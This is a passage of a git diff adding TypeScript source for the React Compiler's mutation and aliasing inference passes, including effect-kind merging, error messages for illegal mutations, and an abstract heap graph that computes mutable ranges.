+          function: applyFunction[0],
+          into: applyInto[0],
+          signature: effect.signature,
+          loc,
+        });
+        break;
+      }
+      case 'CreateFunction': {
+        CompilerError.throwTodo({
+          reason: `Support CreateFrom effects in signatures`,
+          loc: receiver.loc,
+        });
+      }
+      default: {
+        assertExhaustive(
+          effect,
+          `Unexpected effect kind '${(effect as any).kind}'`,
+        );
+      }
+    }
+  }
+  return effects;
+}
+
+function buildSignatureFromFunctionExpression(
+  env: Environment,
+  fn: FunctionExpression,
+): AliasingSignature {
+  let rest: IdentifierId | null = null;
+  const params: Array<IdentifierId> = [];
+  for (const param of fn.loweredFunc.func.params) {
+    if (param.kind === 'Identifier') {
+      params.push(param.identifier.id);
+    } else {
+      rest = param.place.identifier.id;
+    }
+  }
+  return {
+    receiver: makeIdentifierId(0),
+    params,
+    rest: rest ?? createTemporaryPlace(env, fn.loc).identifier.id,
+    returns: fn.loweredFunc.func.returns.identifier.id,
+    effects: fn.loweredFunc.func.aliasingEffects ?? [],
+    temporaries: [],
+  };
+}
+
+export type AbstractValue = {
+  kind: ValueKind;
+  reason: ReadonlySet<ValueReason>;
+};
+
+export function getWriteErrorReason(abstractValue: AbstractValue): string {
+  if (abstractValue.reason.has(ValueReason.Global)) {
+    return 'Modifying a variable defined outside a component or hook is not allowed. Consider using an effect';
+  } else if (abstractValue.reason.has(ValueReason.JsxCaptured)) {
+    return 'Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX';
+  } else if (abstractValue.reason.has(ValueReason.Context)) {
+    return `Modifying a value returned from 'useContext()' is not allowed.`;
+  } else if (abstractValue.reason.has(ValueReason.KnownReturnSignature)) {
+    return 'Modifying a value returned from a function whose return value should not be mutated';
+  } else if (abstractValue.reason.has(ValueReason.ReactiveFunctionArgument)) {
+    return 'Modifying component props or hook arguments is not allowed. Consider using a local variable instead';
+  } else if (abstractValue.reason.has(ValueReason.State)) {
+    return "Modifying a value returned from 'useState()', which should not be modified directly. Use the setter function to update instead";
+  } else if (abstractValue.reason.has(ValueReason.ReducerState)) {
+    return "Modifying a value returned from 'useReducer()', which should not be modified directly. Use the dispatch function to update instead";
+  } else if (abstractValue.reason.has(ValueReason.Effect)) {
+    return 'Modifying a value used previously in an effect function or as an effect dependency is not allowed. Consider moving the modification before calling useEffect()';
+  } else if (abstractValue.reason.has(ValueReason.HookCaptured)) {
+    return 'Modifying a value previously passed as an argument to a hook is not allowed. Consider moving the modification before calling the hook';
+  } else if (abstractValue.reason.has(ValueReason.HookReturn)) {
+    return 'Modifying a value returned from a hook is not allowed. Consider moving the modification into the hook where the value is constructed';
+  } else {
+    return 'This modifies a variable that React considers immutable';
+  }
+}
+
+function getArgumentEffect(
+  signatureEffect: Effect | null,
+  arg: Place | SpreadPattern,
+): Effect {
+  if (signatureEffect != null) {
+    if (arg.kind === 'Identifier') {
+      return signatureEffect;
+    } else if (
+      signatureEffect === Effect.Mutate ||
+      signatureEffect === Effect.ConditionallyMutate
+    ) {
+      return signatureEffect;
+    } else {
+      // see call-spread-argument-mutable-iterator test fixture
+      if (signatureEffect === Effect.Freeze) {
+        CompilerError.throwTodo({
+          reason: 'Support spread syntax for hook arguments',
+          loc: arg.place.loc,
+        });
+      }
+      // effects[i] is Effect.Capture | Effect.Read | Effect.Store
+      return Effect.ConditionallyMutateIterator;
+    }
+  } else {
+    return Effect.ConditionallyMutate;
+  }
+}
+
+export function getFunctionCallSignature(
+  env: Environment,
+  type: Type,
+): FunctionSignature | null {
+  if (type.kind !== 'Function') {
+    return null;
+  }
+  return env.getFunctionSignature(type);
+}
+
+export function isKnownMutableEffect(effect: Effect): boolean {
+  switch (effect) {
+    case Effect.Store:
+    case Effect.ConditionallyMutate:
+    case Effect.ConditionallyMutateIterator:
+    case Effect.Mutate: {
+      return true;
+    }
+
+    case Effect.Unknown: {
+      CompilerError.invariant(false, {
+        reason: 'Unexpected unknown effect',
+        loc: GeneratedSource,
+      });
+    }
+    case Effect.Read:
+    case Effect.Capture:
+    case Effect.Freeze: {
+      return false;
+    }
+    default: {
+      assertExhaustive(effect, `Unexpected effect \`${effect}\``);
+    }
+  }
+}
+
+/**
+ * Joins two values using the following rules:
+ * == Effect Transitions ==
+ *
+ * Freezing an immutable value has not effect:
+ *                ┌───────────────┐
+ *                │               │
+ *                ▼               │ Freeze
+ * ┌──────────────────────────┐  │
+ * │        Immutable         │──┘
+ * └──────────────────────────┘
+ *
+ * Freezing a mutable or maybe-frozen value makes it frozen. Freezing a frozen
+ * value has no effect:
+ *                                                     ┌───────────────┐
+ * ┌─────────────────────────┐     Freeze             │               │
+ * │       MaybeFrozen       │────┐                   ▼               │ Freeze
+ * └─────────────────────────┘    │     ┌──────────────────────────┐  │
+ *                                 ├────▶│          Frozen          │──┘
+ *                                 │     └──────────────────────────┘
+ * ┌─────────────────────────┐    │
+ * │         Mutable         │────┘
+ * └─────────────────────────┘
+ *
+ * == Join Lattice ==
+ * - immutable | mutable => mutable
+ *     The justification is that immutable and mutable values are different types,
+ *     and functions can introspect them to tell the difference (if the argument
+ *     is null return early, else if its an object mutate it).
+ * - frozen | mutable => maybe-frozen
+ *     Frozen values are indistinguishable from mutable values at runtime, so callers
+ *     cannot dynamically avoid mutation of "frozen" values. If a value could be
+ *     frozen we have to distinguish it from a mutable value. But it also isn't known
+ *     frozen yet, so we distinguish as maybe-frozen.
+ * - immutable | frozen => frozen
+ *     This is subtle and falls out of the above rules. If a value could be any of
+ *     immutable, mutable, or frozen, then at runtime it could either be a primitive
+ *     or a reference type, and callers can't distinguish frozen or not for reference
+ *     types. To ensure that any sequence of joins btw those three states yields the
+ *     correct maybe-frozen, these two have to produce a frozen value.
+ * - <any> | maybe-frozen => maybe-frozen
+ * - immutable | context => context
+ * - mutable | context => context
+ * - frozen | context => maybe-frozen
+ *
+ * ┌──────────────────────────┐
+ * │        Immutable         │───┐
+ * └──────────────────────────┘   │
+ *                                 │    ┌─────────────────────────┐
+ *                                 ├───▶│         Frozen          │──┐
+ * ┌──────────────────────────┐   │    └─────────────────────────┘  │
+ * │          Frozen          │───┤                                 │  ┌─────────────────────────┐
+ * └──────────────────────────┘   │                                 ├─▶│       MaybeFrozen       │
+ *                                 │    ┌─────────────────────────┐  │  └─────────────────────────┘
+ *                                 ├───▶│       MaybeFrozen       │──┘
+ * ┌──────────────────────────┐   │    └─────────────────────────┘
+ * │         Mutable          │───┘
+ * └──────────────────────────┘
+ */
+function mergeValueKinds(a: ValueKind, b: ValueKind): ValueKind {
+  if (a === b) {
+    return a;
+  } else if (a === ValueKind.MaybeFrozen || b === ValueKind.MaybeFrozen) {
+    return ValueKind.MaybeFrozen;
+    // after this a and b differ and neither are MaybeFrozen
+  } else if (a === ValueKind.Mutable || b === ValueKind.Mutable) {
+    if (a === ValueKind.Frozen || b === ValueKind.Frozen) {
+      // frozen | mutable
+      return ValueKind.MaybeFrozen;
+    } else if (a === ValueKind.Context || b === ValueKind.Context) {
+      // context | mutable
+      return ValueKind.Context;
+    } else {
+      // mutable | immutable
+      return ValueKind.Mutable;
+    }
+  } else if (a === ValueKind.Context || b === ValueKind.Context) {
+    if (a === ValueKind.Frozen || b === ValueKind.Frozen) {
+      // frozen | context
+      return ValueKind.MaybeFrozen;
+    } else {
+      // context | immutable
+      return ValueKind.Context;
+    }
+  } else if (a === ValueKind.Frozen || b === ValueKind.Frozen) {
+    return ValueKind.Frozen;
+  } else if (a === ValueKind.Global || b === ValueKind.Global) {
+    return ValueKind.Global;
+  } else {
+    CompilerError.invariant(
+      a === ValueKind.Primitive && b == ValueKind.Primitive,
+      {
+        reason: `Unexpected value kind in mergeValues()`,
+        description: `Found kinds ${a} and ${b}`,
+        loc: GeneratedSource,
+      },
+    );
+    return ValueKind.Primitive;
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingRanges.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingRanges.ts
new file mode 100644
index 000000000000..6d584806a4f3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingRanges.ts
@@ -0,0 +1,843 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError, SourceLocation} from '..';
+import {
+  BlockId,
+  Effect,
+  HIRFunction,
+  Identifier,
+  IdentifierId,
+  InstructionId,
+  isJsxType,
+  makeInstructionId,
+  ValueKind,
+  ValueReason,
+  Place,
+  isPrimitiveType,
+} from '../HIR/HIR';
+import {Environment} from '../HIR/Environment';
+import {
+  eachInstructionLValue,
+  eachInstructionValueOperand,
+  eachTerminalOperand,
+} from '../HIR/visitors';
+import {assertExhaustive, getOrInsertWith} from '../Utils/utils';
+
+import {AliasingEffect, MutationReason} from './AliasingEffects';
+
+/**
+ * This pass builds an abstract model of the heap and interprets the effects of the
+ * given function in order to determine the following:
+ * - The mutable ranges of all identifiers in the function
+ * - The externally-visible effects of the function, such as mutations of params and
+ *   context-vars, aliasing between params/context-vars/return-value, and impure side
+ *   effects.
+ * - The legacy `Effect` to store on each Place.
+ *
+ * This pass builds a data flow graph using the effects, tracking an abstract notion
+ * of "when" each effect occurs relative to the others. It then walks each mutation
+ * effect against the graph, updating the range of each node that would be reachable
+ * at the "time" that the effect occurred.
+ *
+ * This pass also validates against invalid effects: any function that is reachable
+ * by being called, or via a Render effect, is validated against mutating globals
+ * or calling impure code.
+ *
+ * Note that this function also populates the outer function's aliasing effects with
+ * any mutations that apply to its params or context variables.
+ *
+ * ## Example
+ * A function expression such as the following:
+ *
+ * ```
+ * (x) => { x.y = true }
+ * ```
+ *
+ * Would populate a `Mutate x` aliasing effect on the outer function.
+ *
+ * ## Returned Function Effects
+ *
+ * The function returns (if successful) a list of externally-visible effects.
+ * This is determined by simulating a conditional, transitive mutation against
+ * each param, context variable, and return value in turn, and seeing which other
+ * such values are affected. If they're affected, they must be captured, so we
+ * record a Capture.
+ *
+ * The only tricky bit is the return value, which could _alias_ (or even assign)
+ * one or more of the params/context-vars rather than just capturing. So we have
+ * to do a bit more tracking for returns.
+ */
+export function inferMutationAliasingRanges(
+  fn: HIRFunction,
+  {isFunctionExpression}: {isFunctionExpression: boolean},
+): Array<AliasingEffect> {
+  // The set of externally-visible effects
+  const functionEffects: Array<AliasingEffect> = [];
+
+  /**
+   * Part 1: Infer mutable ranges for values. We build an abstract model of
+   * values, the alias/capture edges between them, and the set of mutations.
+   * Edges and mutations are ordered, with mutations processed against the
+   * abstract model only after it is fully constructed by visiting all blocks
+   * _and_ connecting phis. Phis are considered ordered at the time of the
+   * phi node.
+   *
+   * This should (may?) mean that mutations are able to see the full state
+   * of the graph and mark all the appropriate identifiers as mutated at
+   * the correct point, accounting for both backward and forward edges.
+   * Ie a mutation of x accounts for both values that flowed into x,
+   * and values that x flowed into.
+   */
+  const state = new AliasingState();
+  type PendingPhiOperand = {from: Place; into: Place; index: number};
+  const pendingPhis = new Map<BlockId, Array<PendingPhiOperand>>();
+  const mutations: Array<{
+    index: number;
+    id: InstructionId;
+    transitive: boolean;
+    kind: MutationKind;
+    place: Place;
+    reason: MutationReason | null;
+  }> = [];
+  const renders: Array<{index: number; place: Place}> = [];
+
+  let index = 0;
+
+  const shouldRecordErrors = !isFunctionExpression && fn.env.enableValidations;
+
+  for (const param of [...fn.params, ...fn.context, fn.returns]) {
+    const place = param.kind === 'Identifier' ? param : param.place;
+    state.create(place, {kind: 'Object'});
+  }
+  const seenBlocks = new Set<BlockId>();
+  for (const block of fn.body.blocks.values()) {
+    for (const phi of block.phis) {
+      state.create(phi.place, {kind: 'Phi'});
+      for (const [pred, operand] of phi.operands) {
+        if (!seenBlocks.has(pred)) {
+          // NOTE: annotation required to actually typecheck and not silently infer `any`
+          const blockPhis = getOrInsertWith<BlockId, Array<PendingPhiOperand>>(
+            pendingPhis,
+            pred,
+            () => [],
+          );
+          blockPhis.push({from: operand, into: phi.place, index: index++});
+        } else {
+          state.assign(index++, operand, phi.place);
+        }
+      }
+    }
+    seenBlocks.add(block.id);
+
+    for (const instr of block.instructions) {
+      if (instr.effects == null) continue;
+      for (const effect of instr.effects) {
+        if (effect.kind === 'Create') {
+          state.create(effect.into, {kind: 'Object'});
+        } else if (effect.kind === 'CreateFunction') {
+          state.create(effect.into, {
+            kind: 'Function',
+            function: effect.function.loweredFunc.func,
+          });
+        } else if (effect.kind === 'CreateFrom') {
+          state.createFrom(index++, effect.from, effect.into);
+        } else if (effect.kind === 'Assign') {
+          /**
+           * TODO: Invariant that the node is not initialized yet
+           *
+           * InferFunctionExpressionAliasingEffectSignatures currently infers
+           * Assign effects in some places that should be Alias, leading to
+           * Assign effects that reinitialize a value. The end result appears to
+           * be fine, but we should fix that inference pass so that we add the
+           * invariant here.
+           */
+          if (!state.nodes.has(effect.into.identifier)) {
+            state.create(effect.into, {kind: 'Object'});
+          }
+          state.assign(index++, effect.from, effect.into);
+        } else if (effect.kind === 'Alias') {
+          state.assign(index++, effect.from, effect.into);
+        } else if (effect.kind === 'MaybeAlias') {
+          state.maybeAlias(index++, effect.from, effect.into);
+        } else if (effect.kind === 'Capture') {
+          state.capture(index++, effect.from, effect.into);
+        } else if (
+          effect.kind === 'MutateTransitive' ||
+          effect.kind === 'MutateTransitiveConditionally'
+        ) {
+          mutations.push({
+            index: index++,
+            id: instr.id,
+            transitive: true,
+            kind:
+              effect.kind === 'MutateTransitive'
+                ? MutationKind.Definite
+                : MutationKind.Conditional,
+            reason: null,
+            place: effect.value,
+          });
+        } else if (
+          effect.kind === 'Mutate' ||
+          effect.kind === 'MutateConditionally'
+        ) {
+          mutations.push({
+            index: index++,
+            id: instr.id,
+            transitive: false,
+            kind:
+              effect.kind === 'Mutate'
+                ? MutationKind.Definite
+                : MutationKind.Conditional,
+            reason: effect.kind === 'Mutate' ? (effect.reason ?? null) : null,
+            place: effect.value,
+          });
+        } else if (
+          effect.kind === 'MutateFrozen' ||
+          effect.kind === 'MutateGlobal' ||
+          effect.kind === 'Impure'
+        ) {
+          if (shouldRecordErrors) {
+            fn.env.recordError(effect.error);
+          }
+          functionEffects.push(effect);
+        } else if (effect.kind === 'Render') {
+          renders.push({index: index++, place: effect.place});
+          functionEffects.push(effect);
+        }
+      }
+    }
+    const blockPhis = pendingPhis.get(block.id);
+    if (blockPhis != null) {
+      for (const {from, into, index} of blockPhis) {
+        state.assign(index, from, into);
+      }
+    }
+    if (block.terminal.kind === 'return') {
+      state.assign(index++, block.terminal.value, fn.returns);
+    }
+
+    if (
+      (block.terminal.kind === 'maybe-throw' ||
+        block.terminal.kind === 'return') &&
+      block.terminal.effects != null
+    ) {
+      for (const effect of block.terminal.effects) {
+        if (effect.kind === 'Alias') {
+          state.assign(index++, effect.from, effect.into);
+        } else {
+          CompilerError.invariant(effect.kind === 'Freeze', {
+            reason: `Unexpected '${effect.kind}' effect for MaybeThrow terminal`,
+            loc: block.terminal.loc,
+          });
+        }
+      }
+    }
+  }
+
+  for (const mutation of mutations) {
+    state.mutate(
+      mutation.index,
+      mutation.place.identifier,
+      makeInstructionId(mutation.id + 1),
+      mutation.transitive,
+      mutation.kind,
+      mutation.place.loc,
+      mutation.reason,
+      shouldRecordErrors ? fn.env : null,
+    );
+  }
+  for (const render of renders) {
+    state.render(
+      render.index,
+      render.place.identifier,
+      shouldRecordErrors ? fn.env : null,
+    );
+  }
+  for (const param of [...fn.context, ...fn.params]) {
+    const place = param.kind === 'Identifier' ? param : param.place;
+
+    const node = state.nodes.get(place.identifier);
+    if (node == null) {
+      continue;
+    }
+    let mutated = false;
+    if (node.local != null) {
+      if (node.local.kind === MutationKind.Conditional) {
+        mutated = true;
+        functionEffects.push({
+          kind: 'MutateConditionally',
+          value: {...place, loc: node.local.loc},
+        });
+      } else if (node.local.kind === MutationKind.Definite) {
+        mutated = true;
+        functionEffects.push({
+          kind: 'Mutate',
+          value: {...place, loc: node.local.loc},
+          reason: node.mutationReason,
+        });
+      }
+    }
+    if (node.transitive != null) {
+      if (node.transitive.kind === MutationKind.Conditional) {
+        mutated = true;
+        functionEffects.push({
+          kind: 'MutateTransitiveConditionally',
+          value: {...place, loc: node.transitive.loc},
+        });
+      } else if (node.transitive.kind === MutationKind.Definite) {
+        mutated = true;
+        functionEffects.push({
+          kind: 'MutateTransitive',
+          value: {...place, loc: node.transitive.loc},
+        });
+      }
+    }
+    if (mutated) {
+      place.effect = Effect.Capture;
+    }
+  }
+
+  /**
+   * Part 2
+   * Add legacy operand-specific effects based on instruction effects and mutable ranges.
+   * Also fixes up operand mutable ranges, making sure that start is non-zero if the value
+   * is mutated (depended on by later passes like InferReactiveScopeVariables which uses this
+   * to filter spurious mutations of globals, which we now guard against more precisely)
+   */
+  for (const block of fn.body.blocks.values()) {
+    for (const phi of block.phis) {
+      // TODO: we don't actually set these effects today!
+      phi.place.effect = Effect.Store;
+      const isPhiMutatedAfterCreation: boolean =
+        phi.place.identifier.mutableRange.end >
+        (block.instructions.at(0)?.id ?? block.terminal.id);
+      for (const operand of phi.operands.values()) {
+        operand.effect = isPhiMutatedAfterCreation
+          ? Effect.Capture
+          : Effect.Read;
+      }
+      if (
+        isPhiMutatedAfterCreation &&
+        phi.place.identifier.mutableRange.start === 0
+      ) {
+        /*
+         * TODO: ideally we'd construct a precise start range, but what really
+         * matters is that the phi's range appears mutable (end > start + 1)
+         * so we just set the start to the previous instruction before this block
+         */
+        const firstInstructionIdOfBlock =
+          block.instructions.at(0)?.id ?? block.terminal.id;
+        phi.place.identifier.mutableRange.start = makeInstructionId(
+          firstInstructionIdOfBlock - 1,
+        );
+      }
+    }
+    for (const instr of block.instructions) {
+      for (const lvalue of eachInstructionLValue(instr)) {
+        lvalue.effect = Effect.ConditionallyMutate;
+        if (lvalue.identifier.mutableRange.start === 0) {
+          lvalue.identifier.mutableRange.start = instr.id;
+        }
+        if (lvalue.identifier.mutableRange.end === 0) {
+          lvalue.identifier.mutableRange.end = makeInstructionId(
+            Math.max(instr.id + 1, lvalue.identifier.mutableRange.end),
+          );
+        }
+      }
+      for (const operand of eachInstructionValueOperand(instr.value)) {
+        operand.effect = Effect.Read;
+      }
+      if (instr.effects == null) {
+        continue;
+      }
+      const operandEffects = new Map<IdentifierId, Effect>();
+      for (const effect of instr.effects) {
+        switch (effect.kind) {
+          case 'Assign':
+          case 'Alias':
+          case 'Capture':
+          case 'CreateFrom':
+          case 'MaybeAlias': {
+            const isMutatedOrReassigned =
+              effect.into.identifier.mutableRange.end > instr.id;
+            if (isMutatedOrReassigned) {
+              operandEffects.set(effect.from.identifier.id, Effect.Capture);
+              operandEffects.set(effect.into.identifier.id, Effect.Store);
+            } else {
+              operandEffects.set(effect.from.identifier.id, Effect.Read);
+              operandEffects.set(effect.into.identifier.id, Effect.Store);
+            }
+            break;
+          }
+          case 'CreateFunction':
+          case 'Create': {
+            break;
+          }
+          case 'Mutate': {
+            operandEffects.set(effect.value.identifier.id, Effect.Store);
+            break;
+          }
+          case 'Apply': {
+            CompilerError.invariant(false, {
+              reason: `[AnalyzeFunctions] Expected Apply effects to be replaced with more precise effects`,
+              loc: effect.function.loc,
+            });
+          }
+          case 'MutateTransitive':
+          case 'MutateConditionally':
+          case 'MutateTransitiveConditionally': {
+            operandEffects.set(
+              effect.value.identifier.id,
+              Effect.ConditionallyMutate,
+            );
+            break;
+          }
+          case 'Freeze': {
+            operandEffects.set(effect.value.identifier.id, Effect.Freeze);
+            break;
+          }
+          case 'ImmutableCapture': {
+            // no-op, Read is the default
+            break;
+          }
+          case 'Impure':
+          case 'Render':
+          case 'MutateFrozen':
+          case 'MutateGlobal': {
+            // no-op
+            break;
+          }
+          default: {
+            assertExhaustive(
+              effect,
+              `Unexpected effect kind ${(effect as any).kind}`,
+            );
+          }
+        }
+      }
+      for (const lvalue of eachInstructionLValue(instr)) {
+        const effect =
+          operandEffects.get(lvalue.identifier.id) ??
+          Effect.ConditionallyMutate;
+        lvalue.effect = effect;
+      }
+      for (const operand of eachInstructionValueOperand(instr.value)) {
+        if (
+          operand.identifier.mutableRange.end > instr.id &&
+          operand.identifier.mutableRange.start === 0
+        ) {
+          operand.identifier.mutableRange.start = instr.id;
+        }
+        const effect = operandEffects.get(operand.identifier.id) ?? Effect.Read;
+        operand.effect = effect;
+      }
+
+      /**
+       * This case is targeted at hoisted functions like:
+       *
+       * ```
+       * x();
+       * function x() { ... }
+       * ```
+       *
+       * Which turns into:
+       *
+       * t0 = DeclareContext HoistedFunction x
+       * t1 = LoadContext x
+       * t2 = CallExpression t1 ( )
+       * t3 = FunctionExpression ...
+       * t4 = StoreContext Function x = t3
+       *
+       * If the function had captured mutable values, it would already have its
+       * range extended to include the StoreContext. But if the function doesn't
+       * capture any mutable values its range won't have been extended yet. We
+       * want to ensure that the value is memoized along with the context variable,
+       * not independently of it (bc of the way we do codegen for hoisted functions).
+       * So here we check for StoreContext rvalues and if they haven't already had
+       * their range extended to at least this instruction, we extend it.
+       */
+      if (
+        instr.value.kind === 'StoreContext' &&
+        instr.value.value.identifier.mutableRange.end <= instr.id
+      ) {
+        instr.value.value.identifier.mutableRange.end = makeInstructionId(
+          instr.id + 1,
+        );
+      }
+    }
+    if (block.terminal.kind === 'return') {
+      block.terminal.value.effect = isFunctionExpression
+        ? Effect.Read
+        : Effect.Freeze;
+    } else {
+      for (const operand of eachTerminalOperand(block.terminal)) {
+        operand.effect = Effect.Read;
+      }
+    }
+  }
+
+  /**
+   * Part 3
+   * Finish populating the externally visible effects. Above we bubble-up the side effects
+   * (MutateFrozen/MutableGlobal/Impure/Render) as well as mutations of context variables.
+   * Here we populate an effect to create the return value as well as populating alias/capture
+   * effects for how data flows between the params, context vars, and return.
+   */
+  const returns = fn.returns.identifier;
+  functionEffects.push({
+    kind: 'Create',
+    into: fn.returns,
+    value: isPrimitiveType(returns)
+      ? ValueKind.Primitive
+      : isJsxType(returns.type)
+        ? ValueKind.Frozen
+        : ValueKind.Mutable,
+    reason: ValueReason.KnownReturnSignature,
+  });
+  /**
+   * Determine precise data-flow effects by simulating transitive mutations of the params/
+   * captures and seeing what other params/context variables are affected. Anything that
+   * would be transitively mutated needs a capture relationship.
+   */
+  const tracked: Array<Place> = [];
+  for (const param of [...fn.params, ...fn.context, fn.returns]) {
+    const place = param.kind === 'Identifier' ? param : param.place;
+    tracked.push(place);
+  }
+  for (const into of tracked) {
+    const mutationIndex = index++;
+    state.mutate(
+      mutationIndex,
+      into.identifier,
+      null,
+      true,
+      MutationKind.Conditional,
+      into.loc,
+      null,
+      null,
+    );
+    for (const from of tracked) {
+      if (
+        from.identifier.id === into.identifier.id ||
+        from.identifier.id === fn.returns.identifier.id
+      ) {
+        continue;
+      }
+      const fromNode = state.nodes.get(from.identifier);
+      CompilerError.invariant(fromNode != null, {
+        reason: `Expected a node to exist for all parameters and context variables`,
+        loc: into.loc,
+      });
+      if (fromNode.lastMutated === mutationIndex) {
+        if (into.identifier.id === fn.returns.identifier.id) {
+          // The return value could be any of the params/context variables
+          functionEffects.push({
+            kind: 'Alias',
+            from,
+            into,
+          });
+        } else {
+          // Otherwise params/context-vars can only capture each other
+          functionEffects.push({
+            kind: 'Capture',
+            from,
+            into,
+          });
+        }
+      }
+    }
+  }
+
+  return functionEffects;
+}
+
+function appendFunctionErrors(env: Environment | null, fn: HIRFunction): void {
+  if (env == null) return;
+  for (const effect of fn.aliasingEffects ?? []) {
+    switch (effect.kind) {
+      case 'Impure':
+      case 'MutateFrozen':
+      case 'MutateGlobal': {
+        env.recordError(effect.error);
+        break;
+      }
+    }
+  }
+}
+
+export enum MutationKind {
+  None = 0,
+  Conditional = 1,
+  Definite = 2,
+}
+
+type Node = {
+  id: Identifier;
+  createdFrom: Map<Identifier, number>;
+  captures: Map<Identifier, number>;
+  aliases: Map<Identifier, number>;
+  maybeAliases: Map<Identifier, number>;
+  edges: Array<{
+    index: number;
+    node: Identifier;
+    kind: 'capture' | 'alias' | 'maybeAlias';
+  }>;
+  transitive: {kind: MutationKind; loc: SourceLocation} | null;
+  local: {kind: MutationKind; loc: SourceLocation} | null;
+  lastMutated: number;
+  mutationReason: MutationReason | null;
+  value:
+    | {kind: 'Object'}
+    | {kind: 'Phi'}
+    | {kind: 'Function'; function: HIRFunction};
+};
+class AliasingState {
+  nodes: Map<Identifier, Node> = new Map();
+
+  create(place: Place, value: Node['value']): void {
+    this.nodes.set(place.identifier, {
+      id: place.identifier,
+      createdFrom: new Map(),
+      captures: new Map(),
+      aliases: new Map(),
+      maybeAliases: new Map(),
+      edges: [],
+      transitive: null,
+      local: null,
+      lastMutated: 0,
+      mutationReason: null,
+      value,
+    });
+  }
+
+  createFrom(index: number, from: Place, into: Place): void {
+    this.create(into, {kind: 'Object'});
+    const fromNode = this.nodes.get(from.identifier);
+    const toNode = this.nodes.get(into.identifier);
+    if (fromNode == null || toNode == null) {
+      return;
+    }
+    fromNode.edges.push({index, node: into.identifier, kind: 'alias'});
+    if (!toNode.createdFrom.has(from.identifier)) {
+      toNode.createdFrom.set(from.identifier, index);
+    }
+  }
+
+  capture(index: number, from: Place, into: Place): void {
+    const fromNode = this.nodes.get(from.identifier);
+    const toNode = this.nodes.get(into.identifier);
+    if (fromNode == null || toNode == null) {
+      return;
+    }
+    fromNode.edges.push({index, node: into.identifier, kind: 'capture'});
+    if (!toNode.captures.has(from.identifier)) {
+      toNode.captures.set(from.identifier, index);
+    }
+  }
+
+  assign(index: number, from: Place, into: Place): void {
+    const fromNode = this.nodes.get(from.identifier);
+    const toNode = this.nodes.get(into.identifier);
+    if (fromNode == null || toNode == null) {
+      return;
+    }
+    fromNode.edges.push({index, node: into.identifier, kind: 'alias'});
+    if (!toNode.aliases.has(from.identifier)) {
+      toNode.aliases.set(from.identifier, index);
+    }
+  }
+
+  maybeAlias(index: number, from: Place, into: Place): void {
+    const fromNode = this.nodes.get(from.identifier);
+    const toNode = this.nodes.get(into.identifier);
+    if (fromNode == null || toNode == null) {
+      return;
+    }
+    fromNode.edges.push({index, node: into.identifier, kind: 'maybeAlias'});
+    if (!toNode.maybeAliases.has(from.identifier)) {
+      toNode.maybeAliases.set(from.identifier, index);
+    }
+  }
+
+  render(index: number, start: Identifier, env: Environment | null): void {
+    const seen = new Set<Identifier>();
+    const queue: Array<Identifier> = [start];
+    while (queue.length !== 0) {
+      const current = queue.pop()!;
+      if (seen.has(current)) {
+        continue;
+      }
+      seen.add(current);
+      const node = this.nodes.get(current);
+      if (node == null || node.transitive != null || node.local != null) {
+        continue;
+      }
+      if (node.value.kind === 'Function') {
+        appendFunctionErrors(env, node.value.function);
+      }
+      for (const [alias, when] of node.createdFrom) {
+        if (when >= index) {
+          continue;
+        }
+        queue.push(alias);
+      }
+      for (const [alias, when] of node.aliases) {
+        if (when >= index) {
+          continue;
+        }
+        queue.push(alias);
+      }
+      for (const [capture, when] of node.captures) {
+        if (when >= index) {
+          continue;
+        }
+        queue.push(capture);
+      }
+    }
+  }
+
+  mutate(
+    index: number,
+    start: Identifier,
+    // Null is used for simulated mutations
+    end: InstructionId | null,
+    transitive: boolean,
+    startKind: MutationKind,
+    loc: SourceLocation,
+    reason: MutationReason | null,
+    env: Environment | null,
+  ): void {
+    const seen = new Map<Identifier, MutationKind>();
+    const queue: Array<{
+      place: Identifier;
+      transitive: boolean;
+      direction: 'backwards' | 'forwards';
+      kind: MutationKind;
+    }> = [{place: start, transitive, direction: 'backwards', kind: startKind}];
+    while (queue.length !== 0) {
+      const {place: current, transitive, direction, kind} = queue.pop()!;
+      const previousKind = seen.get(current);
+      if (previousKind != null && previousKind >= kind) {
+        continue;
+      }
+      seen.set(current, kind);
+      const node = this.nodes.get(current);
+      if (node == null) {
+        continue;
+      }
+      node.mutationReason ??= reason;
+      node.lastMutated = Math.max(node.lastMutated, index);
+      if (end != null) {
+        node.id.mutableRange.end = makeInstructionId(
+          Math.max(node.id.mutableRange.end, end),
+        );
+      }
+      if (
+        node.value.kind === 'Function' &&
+        node.transitive == null &&
+        node.local == null
+      ) {
+        appendFunctionErrors(env, node.value.function);
+      }
+      if (transitive) {
+        if (node.transitive == null || node.transitive.kind < kind) {
+          node.transitive = {kind, loc};
+        }
+      } else {
+        if (node.local == null || node.local.kind < kind) {
+          node.local = {kind, loc};
+        }
+      }
+      /**
+       * all mutations affect "forward" edges by the rules:
+       * - Capture a -> b, mutate(a) => mutate(b)
+       * - Alias a -> b, mutate(a) => mutate(b)
+       */
+      for (const edge of node.edges) {
+        if (edge.index >= index) {
+          break;
+        }
+        queue.push({
+          place: edge.node,
+          transitive,
+          direction: 'forwards',
+          // Traversing a maybeAlias edge always downgrades to conditional mutation
+          kind: edge.kind === 'maybeAlias' ? MutationKind.Conditional : kind,
+        });
+      }
+      for (const [alias, when] of node.createdFrom) {
+        if (when >= index) {
+          continue;
+        }
+        queue.push({
+          place: alias,
+          transitive: true,
+          direction: 'backwards',
+          kind,
+        });
+      }
+      if (direction === 'backwards' || node.value.kind !== 'Phi') {
+        /**
+         * all mutations affect backward alias edges by the rules:
+         * - Alias a -> b, mutate(b) => mutate(a)
+         * - Alias a -> b, mutateTransitive(b) => mutate(a)
+         *
+         * However, if we reached a phi because one of its inputs was mutated
+         * (and we're advancing "forwards" through that node's edges), then
+         * we know we've already processed the mutation at its source. The
+         * phi's other inputs can't be affected.
+         */
+        for (const [alias, when] of node.aliases) {
+          if (when >= index) {
+            continue;
+          }
+          queue.push({
+            place: alias,
+            transitive,
+            direction: 'backwards',
+            kind,
+          });
+        }
+        /**
+         * MaybeAlias indicates potential data flow from unknown function calls,
+         * so we downgrade mutations through these aliases to consider them
+         * conditional. This means we'll consider them for mutation *range*
